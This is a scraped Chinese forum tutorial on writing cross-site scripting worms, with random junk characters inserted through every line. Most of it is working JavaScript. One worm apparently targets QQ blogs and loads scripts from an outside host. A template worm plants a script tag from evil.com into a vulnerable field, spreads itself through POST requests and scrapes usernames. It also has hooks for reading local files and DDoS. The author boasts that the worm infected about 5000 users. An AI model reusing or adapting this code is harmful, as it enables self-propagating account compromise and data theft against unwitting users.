$ r: p* P1 r- m7 ~function get_my_testself(){. T6 i( C( J2 B4 A
( Z) [; Z4 `! K9 q+ V0 n. k0 V+ Z for(i=0;i<myblogid.length;i++){ //获得blogid的值
0 z* _ ]& O9 B+ p* O3 v
' ^" J! M5 Y8 }: U) K var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();, a1 K8 U$ X1 f% L" _
3 m9 z( }/ q1 a. H5 ? var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
8 ~* m3 F+ p# [& f- N# J# s
$ @6 [4 O8 J J7 I. l: s. H if(xhr2){ //如果成功9 M- K+ D) K5 @& }( w: ~
- s z1 |$ ~/ d6 ^% h
xhr2.open("GET",url,false); //打开上面的那个url
6 t% t1 \9 }% D$ j- g
/ e1 a4 J0 n' J xhr2.send();
- u; l* O# Y& D a1 Q
4 k) `+ D+ k- w( B# n guest2=xhr2.responseText;
, p$ f6 Z! F/ K3 H: X* O
; n' e' O; D' b0 z$ ?" I( O7 e: ] var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?0 X: _ v: Y8 z+ `& F
$ I0 H* h9 }' P var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
( |* a' e! s- ?. ^
6 @6 ~' c" |. A if(mycheckmydoit!="-1"){ //返回-1则代表没找到7 S0 q6 f: ]1 l1 N) X0 m9 o* W
8 t" d" o. I; ~6 H. \
targetblogurlid=myblogid; : E- z7 {7 E9 {5 A
- W( J( u8 f) _- m" W3 _ add_jsdel(visitorID,targetblogurlid,gurl); //执行它' z8 F9 I/ _$ F Z/ i0 ~
3 s$ B9 k+ D3 b3 h0 Q
break;
9 ^* P2 @6 u9 j) O I, t: S: X2 ]* e* d' o. U
}) _# b# E8 N& L T
* _) Z5 X8 b0 @( R if(mycheckit=="-1"){ F) j- [/ i" X9 f0 w j) ^0 c
' |& t6 Y. v: X% z) n) f
targetblogurlid=myblogid;
/ [$ J$ n0 U2 ~/ @ ?
/ |- X. p: c) K' }" g add_js(visitorID,targetblogurlid,gurl); //执行它
" c* \+ M) `0 z4 k/ W0 q4 I M5 x" e$ ~( J8 ]: z2 e) J# P# d
break;
* F( E5 j$ a$ R7 y' X
7 m5 z6 u! ] F }4 o2 y. \1 I# k) X- a/ x7 P
. A$ ?2 b+ L6 f4 z
}
: L7 L; A" e4 o; t+ }1 D; B9 d3 \4 L3 g _8 l; w7 n
}
+ v! A5 Y# w9 A( d
; @- r, a: z5 r}, D$ y6 J$ A2 @# Y* q0 H5 {
# r8 D& J3 ]2 L3 U$ I& p$ d( X
8 O$ G' W- K) M O$ b6 f8 I( q- \
$ o1 `$ D. V1 [4 m5 O2 M0 O% R: R- ^
//-------------------------------------- 5 x+ Q0 W' V4 Z! ~4 a
* ]& V7 G/ t- p//根据浏览器创建一个XMLHttpRequest对象& y* P2 b5 C. I
# F# {" B C3 H9 p0 R t3 B3 Dfunction createXMLHttpRequest(){
/ R4 [2 M/ q$ ~. t/ k# N( G- R2 g: r: w
var XMLhttpObject=null; I! ]( F" I, [: h' k/ X
0 U. D6 x) }' t& M( c
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 8 N$ z( n- ?1 H. E* C Z' w4 R2 ^
1 E6 ?. q9 d5 z1 W( m else
! K3 J& c8 G C8 k
5 i& t* C) q6 l d4 r+ C { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
9 [" T6 D- i8 z: i) I% ~8 H1 {! W+ O" h% A" h
for(var i=0;i<MSXML.length;i++)
v) [" g: O) C* k1 d: c8 R* Y/ Q
$ {& [* h7 `/ u {
+ P" D2 Y% u: k# G7 [8 _' Z' w9 f$ E8 Y4 }. [! v* N0 a0 l) |/ G
try ~: F; G9 D- e1 ?1 J4 ^
1 B3 o9 N; l8 Z$ K { ( C) W. H+ g! i- o0 @: u" D; \
$ e) q" R8 B. I4 r9 m XMLhttpObject=new ActiveXObject(MSXML);
9 S |0 r: y0 E& H6 t2 P8 e2 d1 A9 k+ c2 L! M8 l9 o
break;
O0 \* b5 v7 i6 C* @ ?) i' I: ]
} 9 f, M- _, t4 l. u2 r
: K5 ~" m, J: I+ T catch (ex) {
# A. _6 B- o2 w* Y# b6 k( n. H" T# l- B0 @, v" z
}
6 s- ]7 P8 u9 }5 a% L0 r# J2 s5 g0 L1 S Z9 {/ o4 L; i/ k# ?, b9 P
}
' u( T5 |$ x! S. n; \1 ^$ A( M7 y& g8 e
}
/ \& M* M7 X6 S; t: _' M* f! `) \ B% u/ L3 q1 s8 j' Q
return XMLhttpObject;
4 g! |; F* H d6 A! V& z7 T6 f- c2 ^5 B+ v! G% @8 @% P1 z7 p
} ! y/ z% N, s( N) t' ?
8 i' _/ W- I/ X! z! [
; g( A* z. A9 l" K) O1 R. m2 @. `
8 J% ^+ _8 R$ B% u+ f$ o$ @//这里就是感染部分了
2 g% `% {2 {! ^* z2 Q4 A8 y4 L) @- H3 k: V
function add_js(visitorID,targetblogurlid,gurl){; S# F; K, ^9 v; C8 y
/ B4 T: R6 [# S% e, Jvar s2=document.createElement('script');) y1 T9 B( D. C! p
# J5 g8 i6 m5 D/ @
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();( X6 W7 T' M% [- {
' V8 ]% d- k. h& w; k) U6 E
s2.type='text/javascript';
+ E% Q m! Z4 Y4 X! ?# g. S/ `( e% J2 {* H" P
document.getElementsByTagName('head').item(0).appendChild(s2);
$ ]7 e2 p6 J8 d' h7 E# K5 @+ Y' z7 i) b! C6 j4 W) t$ G
}2 q' c5 S1 Z0 B& d
5 d) X7 J, ] N1 m3 A. P! i; H! t
; |/ p" q8 S) M$ e$ \" C" G
: H1 G' N" P$ H1 x yfunction add_jsdel(visitorID,targetblogurlid,gurl){
l+ w5 P6 ~" S1 q9 ^ t$ y( F3 C# ^6 G* r" |" e
var s2=document.createElement('script');/ u6 O" P2 \6 _
4 k9 F. N+ [9 T$ ~9 i; Os2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();, j0 P) A; l. o% h2 R( b1 V
2 m7 z' [- J, I: A2 v- V+ Xs2.type='text/javascript';- G- s! L: r u. w
$ z0 n2 {) d) z7 @ U9 L( Ydocument.getElementsByTagName('head').item(0).appendChild(s2);
7 R! {& n z( [5 |) a0 X& C1 C5 T1 b3 e6 @5 H
}3 {+ F7 g* z9 R# U% A
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:) @: {. h+ \8 N6 G! J# v
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)& i$ s7 S1 H/ x; N1 A) E2 A
- s1 p% h) K0 ?* Y3 \) u5 F( s8 L
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& W3 U, l; N. F2 r$ x" {
3 R4 c- m2 n t. L) l# C, |# ]综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
8 u8 O$ h/ m+ ~- S5 F9 e. R5 g) D' _
# s& f. ^: f5 F# p2 ^% U0 D
" X0 f, S; [) b6 J# P# v+ n- ~下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.5 K7 _9 ]$ M0 W: F
2 e3 r3 y! d, M6 @0 O& F: r首先,自然是判断不同浏览器,创建不同的对象var request = false;
' S6 {4 f$ G/ t! j# C3 O, [, Q8 ?
if(window.XMLHttpRequest) {7 g/ x6 @9 V, ?- R3 C- f
, S2 Z- {) A8 o" X& V; Z- N) }request = new XMLHttpRequest();2 j' F% v! K+ ?% y% g( Q
& G) ^: B7 o" k- h) O5 fif(request.overrideMimeType) {
- f& W. y$ `6 F# g1 B/ ?5 V3 Z ~ |1 {% D5 G
request.overrideMimeType('text/xml');2 W, \6 Z. m2 j. V
/ P# G- i, q6 Z
}; J2 Q f0 T8 O9 X6 D
' P/ ?! x1 l. Y5 _5 e! N
} else if(window.ActiveXObject) {7 u+ t+ B& l6 Z# f, z S
# F: g6 c; n) q
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! W& w' x1 b& V5 V" x
6 c4 i" C* r8 s4 ^9 y. g2 R9 tfor(var i=0; i<versions.length; i++) {
: w* `, s b2 L& J( o6 r
" j, U5 v$ i8 s3 atry {
. A$ A4 v; N+ ]" d; P6 } c4 y* b8 |$ r
request = new ActiveXObject(versions);4 H% f" P. |9 H; c: m
" u& v) s. w9 q9 L: G& j3 B1 W# ]} catch(e) {}' R2 _( `6 D3 e* o
) @; W1 M$ C; t) \}7 h5 l- B; S1 Y2 t2 m: l' Z) s
& r3 Y2 X* s) k7 c: Q( I}
6 _1 z3 _' l4 l& W/ ~5 i! H
6 I- d0 K3 d+ z1 K4 @* v6 ^! _xmlHttpReq=request;
3 Q7 k0 @3 u6 p" u复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){$ b4 s' x0 ~5 f8 z9 V
- v; ~2 C S2 V; n/ n
var Browser_Name=navigator.appName;
/ K3 y8 j1 B( ?7 V1 c" h5 o8 ^, V
var Browser_Version=parseFloat(navigator.appVersion);
3 H' J6 z9 a% q% p/ L5 |
) W* M3 @- K% P! l5 p" b var Browser_Agent=navigator.userAgent;
' x, d1 G" v6 a1 y2 s5 b5 c& j! `$ |8 r# `( \9 T9 K& |
. h8 _3 l6 D" t" ?- H. i T$ w) J. c- Z
4 J2 J# l1 j' Y0 l6 T var Actual_Version,Actual_Name;
/ K# H7 r4 @; f. u% T$ P% @& }! z+ N5 f# B% v2 R% l4 B# |
* ?6 d: d Y+ c' F
: O8 ^1 p( x9 M- U. o6 P) ?
var is_IE=(Browser_Name=="Microsoft Internet Explorer");/ y9 C# n$ R+ X. c
6 z4 t4 p6 p% D3 {, S! R& y var is_NN=(Browser_Name=="Netscape");
, e1 I5 _8 f6 c0 q# x. z4 E& u7 F6 c% K0 d6 s" v3 g
var is_Ch=(Browser_Name=="Chrome");
0 O7 k) i3 B1 R( I8 n5 ]; V% z1 S) L7 |
% o* l m1 |$ q; n8 i3 }
1 k1 F" R M6 g6 U. U; O
if(is_NN){+ ?, b% G( L) U9 F$ m- S3 [1 s9 \
! P; M6 A8 Q% W) x
if(Browser_Version>=5.0){
/ @. H; c/ N) q7 w! p I; `! k
5 l6 }4 l1 ^" C! r var Split_Sign=Browser_Agent.lastIndexOf("/");
* I5 ]% T- W! e; I W& C+ i, _! |
var Version=Browser_Agent.indexOf(" ",Split_Sign);6 ?9 ~, U d2 B4 [9 I: r; T
" s" P- |4 c: j var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
; d. }$ e V6 k" N6 e* t1 d) V. q+ M0 j% L6 n
. j1 ~' l9 i% f D- w
2 e, n: T$ A6 E) v1 k- ? Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);8 L# c: K- ^- ]
* V8 P! P8 a: {+ r* s5 `: u5 _, q
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' e$ s9 G" K# A* |, `+ p, Y
. N% V+ F6 N, y } e* V* O) s8 F
T: r0 R0 D# a5 q- {: i- u/ e0 v
else{6 f& Z3 `7 `% J) Z" f
* u5 T5 I0 ` T0 ] F. q& d' Z
Actual_Version=Browser_Version;
9 o1 B/ E3 w7 V
# ?! O3 O7 N/ ?7 [9 R( G* R Actual_Name=Browser_Name;/ E5 V5 ^; s# ]$ i$ W
8 K7 @. s/ k# j
}, u8 j( q. C0 c! z
& f! @, `7 P7 k9 g, ?$ i) V
}
# w) {4 r0 j0 p) z& C5 }1 g2 A/ ] T! e) Q
else if(is_IE){
* x0 t4 F4 j- O+ x: U# f3 j: F0 T! X
var Version_Start=Browser_Agent.indexOf("MSIE");
4 A: e: x; Z" c6 G+ E% Q
% V& p" F" o6 @* D" o8 g5 x P4 i; ~ var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 G8 w% \7 k& m9 Y$ f [) {6 v' ]3 {+ H: ^3 V; T" B* b
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ E4 V* y' s9 W8 o6 K; h( {; a, @% f" `. _. r
Actual_Name=Browser_Name;6 y) N6 ~8 Q5 i0 ~
) R2 N/ ?9 w- v6 s1 q
" D! O/ o1 R! j4 n
# {$ e3 [8 g1 x) i3 ^
if(Browser_Agent.indexOf("Maxthon")!=-1){6 s* x( E' y5 ?/ [
' v" u5 Y- q3 ?9 z Actual_Name+="(Maxthon)";+ S3 P g- D, T2 D! d
$ M9 G4 n0 u# J0 S, j: {
}8 M$ i I4 U2 o6 C
) Y! A3 |5 f( P) i
else if(Browser_Agent.indexOf("Opera")!=-1){9 x( o7 }9 W6 M4 G
' x1 G& w" }. o% x6 S- d Actual_Name="Opera";
q' Q/ V% I% g4 R; K
/ t' k& i" d1 s: k) S/ N var tempstart=Browser_Agent.indexOf("Opera");/ @6 f" x: u% e' b
8 X- W2 I8 O& s) ~# b& r: ~( T2 [
var tempend=Browser_Agent.length;0 k" T4 N/ A3 g0 J6 { o
: m" K- z8 m3 h. f2 t Actual_Version=Browser_Agent.substring(tempstart+6,tempend)) }: g4 O0 d9 d& M
) d4 X7 k; U2 l; P6 x7 J, u
}6 k" M' @5 Y: |# D: z0 a8 [
/ `, j/ L9 B" t: {
}2 q) x# q6 g7 x' x% Q
) m' Y/ F4 I; [! `7 o- ]5 f1 r4 s else if(is_Ch){
+ Z1 ?! C2 z, D- z; |
8 v+ \* `* O* v- a% T; W/ _ var Version_Start=Browser_Agent.indexOf("Chrome");
( F4 l) @0 p# ~# d: o
7 [' R# f4 ~) i var Version_End=Browser_Agent.indexOf(";",Version_Start);! L6 [. J: [& B2 {2 {
@. ^: I! o- U/ V4 Y! i6 Q" w
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 ^" L. m/ W$ o {) }
+ s! U, j9 ~$ q& A8 Z# { Actual_Name=Browser_Name;
3 c! C0 `3 D8 F# x- W1 n- d
6 B. T1 v9 s# B1 f
# ]) r5 U; Q4 u p$ T. G$ T2 U$ r$ v/ i% e. D
if(Browser_Agent.indexOf("Maxthon")!=-1){" d* Q- ]5 I; ?- K% {
5 Y- U; x* b# b \( K Actual_Name+="(Maxthon)";
6 j+ b8 p4 C! U, w7 d8 ~" F8 h( t( e& |5 a: H
}
/ P4 s1 t3 N# y2 Q }! H: g- N2 ~/ S! g, g X1 [
else if(Browser_Agent.indexOf("Opera")!=-1){; O# E$ t! B, q: z
9 C. ?/ n$ h6 Z9 [' L4 W Actual_Name="Opera";
, h+ E7 r3 {* [% }# M( c& n3 o: Q4 k5 P
var tempstart=Browser_Agent.indexOf("Opera");
& z1 F, A8 O/ o; z% b5 G. K
. h" M, s# e, b% W+ E# d2 l var tempend=Browser_Agent.length;! J4 @& U: S k( w8 S
( H; Z! \& q9 F' H. O" k( s Actual_Version=Browser_Agent.substring(tempstart+6,tempend)8 {7 i4 C6 s! R& W# \6 x- c
( c0 Z3 c" p j' c
}
6 O6 O% v4 |! e4 e) m+ | ^, s* u$ o0 R6 p2 u
}" C/ t2 a1 W5 ?: u0 ]6 n3 L% u
6 v2 D4 `1 G: ^: U" `
else{
. D2 q7 x" {) |# @$ ^% c8 f# K( A5 A h+ @
Actual_Name="Unknown Navigator"& [9 d3 R6 i; r7 Z! ^
1 ^/ I6 v! e7 o) ]( w
Actual_Version="Unknown Version"3 \$ c5 g& `, w, W
. X/ E9 X' t9 e4 ~- H# b
}
$ ?. [' E/ ~( ]. `( x, N* D' D- g v& ~9 W' H6 y2 {# }8 B
c' ~: `5 t0 r! z9 X
$ C* M7 d7 u( O/ W% U
navigator.Actual_Name=Actual_Name;
* g9 j7 o. M; W$ t* W+ k6 V. G7 z* [: ~5 V' u& C: T; `- D$ K
navigator.Actual_Version=Actual_Version;( v4 ]% Z, L6 E$ Z
$ X. R- Z G: ^
) O1 g6 W2 p6 s
3 o* X/ I& a ^9 u4 H2 W this.Name=Actual_Name;
* m- ?& V S6 I: @, B4 l) ^7 J& y
' v( J+ c% m6 }5 x' M2 f' B/ X$ y this.Version=Actual_Version;* b( t1 b/ P* s1 K
+ z6 A/ G- S1 L3 K }
% D9 g, P; K8 d6 L" }% Y- C: k. w2 p1 `* I* h% z* V, Y1 n
browserinfo();2 m( P2 y, w$ G% s* O0 j' Y
3 g9 z3 d0 j! x* W$ N if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 t* Y4 A3 J! \( O) G# w4 u
+ A6 M' p4 G! k7 v6 y- }) c* z* C' @ if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
" u$ e/ R, r% d6 |# c5 e% r2 D% d) o6 W, I) z+ X2 e) A
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}, I: U* W, D( N! j- Z. s0 {8 y
. P9 W3 C. B( l! \4 i/ }* C
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}7 a$ N+ F- x. u/ b& a
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码4 [3 Y# o% f- w* a0 \% }9 G3 }% z# i
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
) } Y6 ?0 a3 b, A; J复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.3 w$ }* K' E" O1 `! ]
; s% s4 u; x! c0 \+ A' l
xmlHttpReq.send(null);2 r% F" h% Q& a
, i4 @& A7 c9 [& T# C" c, Svar resource = xmlHttpReq.responseText;* x0 L4 ~' z4 ?6 C7 J4 ~# ~
) l, m( w0 L" J5 x" [3 Hvar id=0;var result;
$ r& p+ _9 `5 n4 Q& S" z4 } s1 R- ?$ S; B) x3 K l
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
. _. r: ~7 c" Z* t/ |; ~' |# o0 f
5 ]5 D2 g8 s& j* F5 uwhile ((result = patt.exec(resource)) != null) {
- f' H4 A' q) G7 r, B
9 F j7 [: a: a$ pid++;
6 r* ~0 t2 D0 Q4 D: C1 B5 B6 `. g0 I6 z8 |
} z9 p! r. G& x2 y9 k* W% ^& d
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.( g }# z# q( \& K9 n4 q1 h" I( x$ L
6 D, X- D% E+ e* ]no=resource.search(/my name is/);
0 i* a5 `- e, b; ~# J3 Y
- S" e+ U# z5 ~$ Fvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.) p- h0 u1 Y7 J9 U/ E
! }3 G3 Z1 g/ [( j
var post="wd="+wd;
* ~ o" I8 m$ c8 y7 n- m" M9 Q. ^, u6 S* ] X) @0 S
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.% X% F: P. w2 S$ @
" j. ~; A0 U1 D& _, TxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 ~) N% i$ ?; W" q
5 T, l) z( S( E4 s' h% a! P& ]
xmlHttpReq.setRequestHeader("content-length",post.length); v% D5 t2 b; @) a+ f: a' F
% j7 j1 a: F+ y$ F; ?
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");0 X+ q; T$ i: |- h0 Z: \* w! c1 \
0 q( q/ N" O( G7 ~( ]2 R9 p
xmlHttpReq.send(post);7 ? r; ]' k; ]3 x, r# Y
! O8 |2 @1 e, p7 N. d+ _0 u}
4 z! d+ q1 @8 l7 |8 v复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
0 P0 h- Y* {% Y7 `
+ y/ s/ |& ?- o' z0 Mvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方' D& @1 e7 Y1 T3 E7 g5 ^; f
, S" E% i( o9 Z4 m$ \5 a# Tvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.& }& Q, @' H( T" h" @: b R
3 m8 t, B5 Q4 Q( ~5 nvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
: X, c C7 M" b, _
, j* H; m, R$ `% D1 lvar post="wd="+wd;
+ S1 d; W) ]2 J: b/ |
2 G3 C* O& ~8 ` B/ A$ GxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);- s) O' e4 S: f7 b) R. l) \
0 `' g7 I2 u% H6 S/ pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ q; C! W$ w, _ t2 v; U! O7 ?
$ a+ }! K( Z# Q6 axmlHttpReq.setRequestHeader("content-length",post.length);
: {& h7 J. o+ `# V8 K" h; z# Y
: g5 u$ Q; M/ V2 k7 XxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
: V. d# s- ^( m& ?7 E
- k& Y% {9 E7 Z# X4 S7 }+ Q. @xmlHttpReq.send(post); //把传播的信息 POST出去.
4 H- W) ]9 u- ^3 d- m: H- {! W% R; h' G3 o! d& j
}/ y Q& G$ @8 s% [
复制代码-----------------------------------------------------总结-------------------------------------------------------------------+ [/ B/ Z5 P, Z
, K5 ^4 m' M% e+ ~
; y3 q6 F/ t4 I- Z9 {/ e' ^0 H+ g! }8 }+ N- j3 Y
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
% J5 K; H6 [& u8 \蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.* d5 K! I! p/ @+ R+ R
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
+ Z" i+ e1 h D
5 I7 y4 v; @! y. {0 [8 M# m
" q6 z7 v. Z. F. K u% ^$ K9 @
6 { I9 P! {$ |! h* B( n! H
$ p, P1 t. d9 h: t: p' d& b
: K- W9 P5 p& w y; e
) M n4 M( n+ S( M0 `0 i1 E ^
/ U1 R% G% {0 y/ G8 u本文引用文档资料:6 f% U8 [/ u0 T7 S5 j" k0 z8 x3 F) C
- `( g6 `" {. x2 ~"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
4 a/ W/ J; I U/ P7 ^+ POther XmlHttpRequest tricks (Amit Klein, January 2003) x! P1 w# C! V" o: \) A3 x h$ A
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
1 J' ]. @$ A0 T9 J4 p* Mhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
4 `& W. n) I9 A" [* \+ T, h1 k空虚浪子心BLOG http://www.inbreak.net$ H' V6 f* V3 Y$ h% i1 O" _
Xeye Team http://xeye.us/9 ?6 z: ~/ d) R8 B' P [
|